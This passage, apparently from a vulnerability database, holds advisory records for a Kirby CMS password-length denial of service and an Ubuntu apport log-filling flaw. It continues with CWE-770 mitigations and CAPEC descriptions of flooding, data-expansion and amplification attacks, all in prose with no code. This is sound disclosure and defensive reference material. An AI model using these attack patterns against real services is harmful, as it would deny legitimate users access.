  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-07-28T15:34:13Z",
    "nvd_published_at": "2023-07-27T16:15:11Z",
    "severity": "MODERATE"
  },
  "details": "### TL;DR\n\nThis vulnerability affects all Kirby sites with user accounts (unless Kirby\u0027s API and Panel are disabled in the config). The real-world impact of this vulnerability is limited, however we still recommend to update to one of the patch releases because they also fix more severe vulnerabilities.\n\n----\n\n### Introduction\n\nDenial of service (DoS) is a type of attack in which an attacker floods a service with the intention to limit performance or availability for legitimate users of the service.\n\nIn the variation described in this advisory (a so called application layer denial of service attack), it is performed by causing a computationally expensive task to be run on the server. This may then cause a performance bottleneck.\n\n### Impact\n\nKirby\u0027s authentication endpoint did not limit the password length. This allowed attackers to provide a password with a length up to the server\u0027s maximum request body length. Validating that password against the user\u0027s actual password requires hashing the provided password, which requires more CPU and memory resources (and therefore processing time) the longer the provided password gets. This could be abused by an attacker to cause the website to become unresponsive or unavailable.\n\nBecause Kirby comes with a built-in brute force protection, the impact of this vulnerability is limited to 10 failed logins from each IP address and 10 failed logins for each existing user per hour.\n\n### Patches\n\nThe problem has been patched in [Kirby 3.5.8.3](https://github.com/getkirby/kirby/releases/tag/3.5.8.3), [Kirby 3.6.6.3](https://github.com/getkirby/kirby/releases/tag/3.6.6.3), [Kirby 3.7.5.2](https://github.com/getkirby/kirby/releases/tag/3.7.5.2), [Kirby 3.8.4.1](https://github.com/getkirby/kirby/releases/tag/3.8.4.1) and [Kirby 3.9.6](https://github.com/getkirby/kirby/releases/tag/3.9.6). Please update to one of these or a [later version](https://github.com/getkirby/kirby/releases) to fix the vulnerability.\n\nIn all of the mentioned releases, we have added password length limits in the affected code so that passwords longer than 1000 bytes are immediately blocked, both when setting a password and when logging in.\n\n### Credits\n\nThanks to Shankar Acharya (@5hank4r) for responsibly reporting the identified issue.",
  "id": "GHSA-3v6j-v3qc-cxff",
  "modified": "2023-07-28T15:34:13Z",
  "published": "2023-07-28T15:34:13Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/getkirby/kirby/security/advisories/GHSA-3v6j-v3qc-cxff"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-38492"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getkirby/kirby/commit/0e10ce3b0c2b88656564b8ff518ddc99136ac43e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/getkirby/kirby"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getkirby/kirby/releases/tag/3.5.8.3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getkirby/kirby/releases/tag/3.6.6.3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getkirby/kirby/releases/tag/3.7.5.2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getkirby/kirby/releases/tag/3.8.4.1"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getkirby/kirby/releases/tag/3.9.6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Denial of service from unlimited password lengths"
}

GHSA-3V9H-V2JM-73MM

Vulnerability from github – Published: 2024-06-05 00:30 – Updated: 2024-06-11 18:30
VLAI
Details

is_closing_session() allows users to fill up apport.log

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-28654"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-06-04T22:15:09Z",
    "severity": "MODERATE"
  },
  "details": "is_closing_session() allows users to fill up apport.log",
  "id": "GHSA-3v9h-v2jm-73mm",
  "modified": "2024-06-11T18:30:42Z",
  "published": "2024-06-05T00:30:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-28654"
    },
    {
      "type": "WEB",
      "url": "https://ubuntu.com/security/notices/USN-5427-1"
    },
    {
      "type": "WEB",
      "url": "https://www.cve.org/CVERecord?id=CVE-2022-28654"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation
Requirements

Clearly specify the minimum and maximum expectations for capabilities, and dictate which behaviors are acceptable when resource allocation reaches limits.

Mitigation
Architecture and Design

Limit the amount of resources that are accessible to unprivileged users. Set per-user limits for resources. Allow the system administrator to define these limits. Be careful to avoid CWE-410.

Mitigation
Architecture and Design

Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place, and it will help the administrator to identify who is committing the abuse. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.

Mitigation MIT-5
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Mitigation MIT-15
Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Mitigation
Architecture and Design
  • Mitigation of resource exhaustion attacks requires that the target system either:
  • The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
  • The second solution can be difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply requires more resources on the part of the attacker.
  • recognizes the attack and denies that user further access for a given amount of time, typically by using increasing time delays
  • uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Architecture and Design

Ensure that protocols have specific limits of scale placed on them.

Mitigation MIT-38.1
Architecture and Design Implementation
  • If the program must fail, ensure that it fails gracefully (fails closed). There may be a temptation to simply let the program fail poorly in cases such as low memory conditions, but an attacker may be able to assert control before the software has fully exited. Alternately, an uncontrolled failure could cause cascading problems with other downstream components; for example, the program could send a signal to a downstream process so the process immediately knows that a problem has occurred and has a better chance of recovery.
  • Ensure that all failures in resource allocation place the system into a safe posture.
Mitigation MIT-47
Operation Architecture and Design

Strategy: Resource Limitation

  • Use quotas or other resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems.
  • When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users.
  • Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).
CAPEC-125: Flooding

An adversary consumes the resources of a target by rapidly engaging in a large number of interactions with the target. This type of attack generally exposes a weakness in rate limiting or flow. When successful this attack prevents legitimate users from accessing the service and can cause the target to crash. This attack differs from resource depletion through leaks or allocations in that the latter attacks do not rely on the volume of requests made to the target but instead focus on manipulation of the target's operations. The key factor in a flooding attack is the number of requests the adversary can make in a given period of time. The greater this number, the more likely an attack is to succeed against a given target.

CAPEC-130: Excessive Allocation

An adversary causes the target to allocate excessive resources to servicing the attackers' request, thereby reducing the resources available for legitimate services and degrading or denying services. Usually, this attack focuses on memory allocation, but any finite resource on the target could be the attacked, including bandwidth, processing cycles, or other resources. This attack does not attempt to force this allocation through a large number of requests (that would be Resource Depletion through Flooding) but instead uses one or a small number of requests that are carefully formatted to force the target to allocate excessive resources to service this request(s). Often this attack takes advantage of a bug in the target to cause the target to allocate resources vastly beyond what would be needed for a normal request.

CAPEC-147: XML Ping of the Death

An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.

CAPEC-197: Exponential Data Expansion

An adversary submits data to a target application which contains nested exponential data expansion to produce excessively large output. Many data format languages allow the definition of macro-like structures that can be used to simplify the creation of complex structures. However, this capability can be abused to create excessive demands on a processor's CPU and memory. A small number of nested expansions can result in an exponential growth in demands on memory.

CAPEC-229: Serialized Data Parameter Blowup

This attack exploits certain serialized data parsers (e.g., XML, YAML, etc.) which manage data in an inefficient manner. The attacker crafts an serialized data file with multiple configuration parameters in the same dataset. In a vulnerable parser, this results in a denial of service condition where CPU resources are exhausted because of the parsing algorithm. The weakness being exploited is tied to parser implementation and not language specific.

CAPEC-230: Serialized Data with Nested Payloads

Applications often need to transform data in and out of a data format (e.g., XML and YAML) by using a parser. It may be possible for an adversary to inject data that may have an adverse effect on the parser when it is being processed. Many data format languages allow the definition of macro-like structures that can be used to simplify the creation of complex structures. By nesting these structures, causing the data to be repeatedly substituted, an adversary can cause the parser to consume more resources while processing, causing excessive memory consumption and CPU utilization.

CAPEC-231: Oversized Serialized Data Payloads

An adversary injects oversized serialized data payloads into a parser during data processing to produce adverse effects upon the parser such as exhausting system resources and arbitrary code execution.

CAPEC-469: HTTP DoS

An attacker performs flooding at the HTTP level to bring down only a particular web application rather than anything listening on a TCP/IP connection. This denial of service attack requires substantially fewer packets to be sent which makes DoS harder to detect. This is an equivalent of SYN flood in HTTP. The idea is to keep the HTTP session alive indefinitely and then repeat that hundreds of times. This attack targets resource depletion weaknesses in web server software. The web server will wait to attacker's responses on the initiated HTTP sessions while the connection threads are being exhausted.

CAPEC-482: TCP Flood

An adversary may execute a flooding attack using the TCP protocol with the intent to deny legitimate users access to a service. These attacks exploit the weakness within the TCP protocol where there is some state information for the connection the server needs to maintain. This often involves the use of TCP SYN messages.

CAPEC-486: UDP Flood

An adversary may execute a flooding attack using the UDP protocol with the intent to deny legitimate users access to a service by consuming the available network bandwidth. Additionally, firewalls often open a port for each UDP connection destined for a service with an open UDP port, meaning the firewalls in essence save the connection state thus the high packet nature of a UDP flood can also overwhelm resources allocated to the firewall. UDP attacks can also target services like DNS or VoIP which utilize these protocols. Additionally, due to the session-less nature of the UDP protocol, the source of a packet is easily spoofed making it difficult to find the source of the attack.

CAPEC-487: ICMP Flood

An adversary may execute a flooding attack using the ICMP protocol with the intent to deny legitimate users access to a service by consuming the available network bandwidth. A typical attack involves a victim server receiving ICMP packets at a high rate from a wide range of source addresses. Additionally, due to the session-less nature of the ICMP protocol, the source of a packet is easily spoofed making it difficult to find the source of the attack.

CAPEC-488: HTTP Flood

An adversary may execute a flooding attack using the HTTP protocol with the intent to deny legitimate users access to a service by consuming resources at the application layer such as web services and their infrastructure. These attacks use legitimate session-based HTTP GET requests designed to consume large amounts of a server's resources. Since these are legitimate sessions this attack is very difficult to detect.

CAPEC-489: SSL Flood

An adversary may execute a flooding attack using the SSL protocol with the intent to deny legitimate users access to a service by consuming all the available resources on the server side. These attacks take advantage of the asymmetric relationship between the processing power used by the client and the processing power used by the server to create a secure connection. In this manner the attacker can make a large number of HTTPS requests on a low provisioned machine to tie up a disproportionately large number of resources on the server. The clients then continue to keep renegotiating the SSL connection. When multiplied by a large number of attacking machines, this attack can result in a crash or loss of service to legitimate users.

CAPEC-490: Amplification

An adversary may execute an amplification where the size of a response is far greater than that of the request that generates it. The goal of this attack is to use a relatively few resources to create a large amount of traffic against a target server. To execute this attack, an adversary send a request to a 3rd party service, spoofing the source address to be that of the target server. The larger response that is generated by the 3rd party service is then sent to the target server. By sending a large number of initial requests, the adversary can generate a tremendous amount of traffic directed at the target. The greater the discrepancy in size between the initial request and the final payload delivered to the target increased the effectiveness of this attack.

CAPEC-491: Quadratic Data Expansion

An adversary exploits macro-like substitution to cause a denial of service situation due to excessive memory being allocated to fully expand the data. The result of this denial of service could cause the application to freeze or crash. This involves defining a very large entity and using it multiple times in a single entity substitution. CAPEC-197 is a similar attack pattern, but it is easier to discover and defend against. This attack pattern does not perform multi-level substitution and therefore does not obviously appear to consume extensive resources.

CAPEC-493: SOAP Array Blowup

An adversary may execute an attack on a web service that uses SOAP messages in communication. By sending a very large SOAP array declaration to the web service, the attacker forces the web service to allocate space for the array elements before they are parsed by the XML parser. The attacker message is typically small in size containing a large array declaration of say 1,000,000 elements and a couple of array elements. This attack targets exhaustion of the memory resources of the web service.

CAPEC-494: TCP Fragmentation

An adversary may execute a TCP Fragmentation attack against a target with the intention of avoiding filtering rules of network controls, by attempting to fragment the TCP packet such that the headers flag field is pushed into the second fragment which typically is not filtered.

CAPEC-495: UDP Fragmentation

An attacker may execute a UDP Fragmentation attack against a target server in an attempt to consume resources such as bandwidth and CPU. IP fragmentation occurs when an IP datagram is larger than the MTU of the route the datagram has to traverse. Typically the attacker will use large UDP packets over 1500 bytes of data which forces fragmentation as ethernet MTU is 1500 bytes. This attack is a variation on a typical UDP flood but it enables more network bandwidth to be consumed with fewer packets. Additionally it has the potential to consume server CPU resources and fill memory buffers associated with the processing and reassembling of fragmented packets.

CAPEC-496: ICMP Fragmentation

An attacker may execute a ICMP Fragmentation attack against a target with the intention of consuming resources or causing a crash. The attacker crafts a large number of identical fragmented IP packets containing a portion of a fragmented ICMP message. The attacker these sends these messages to a target host which causes the host to become non-responsive. Another vector may be sending a fragmented ICMP message to a target host with incorrect sizes in the header which causes the host to hang.

CAPEC-528: XML Flood

An adversary may execute a flooding attack using XML messages with the intent to deny legitimate users access to a web service. These attacks are accomplished by sending a large number of XML based requests and letting the service attempt to parse each one. In many cases this type of an attack will result in a XML Denial of Service (XDoS) due to an application becoming unstable, freezing, or crashing.